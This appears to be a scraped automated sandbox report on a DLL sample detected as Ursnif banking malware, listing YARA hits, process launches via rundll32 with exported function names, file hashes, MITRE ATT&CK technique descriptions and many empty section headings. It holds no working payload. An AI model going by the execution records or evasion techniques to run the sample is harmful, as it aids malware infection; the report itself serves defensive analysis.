JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.499160942.00000000057E8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.592754619.000000000556D000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.546937803.000000000566B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.784698066.0000000005039000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: rundll32.exe PID: 5780 Parent PID: 6116

General

Start time:	22:21:01
Start date:	11/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,Fieldeight
Imagebase:	0x1010000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000005.00000003.446200223.00000000007B0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: rundll32.exe PID: 724 Parent PID: 6116

General

Start time:	22:21:08
Start date:	11/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,Often
Imagebase:	0x1010000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000006.00000003.452964722.0000000000D70000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: WerFault.exe PID: 4364 Parent PID: 4892

General

Start time:	22:22:42
Start date:	11/10/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 864
Imagebase:	0x940000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: WerFault.exe PID: 2836 Parent PID: 5780

General

Start time:	22:22:48
Start date:	11/10/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 840
Imagebase:	0x940000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: WerFault.exe PID: 4736 Parent PID: 724

General

Start time:	22:22:53
Start date:	11/10/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 724 -s 636
Imagebase:	0x940000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report B6VQd36tt6.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets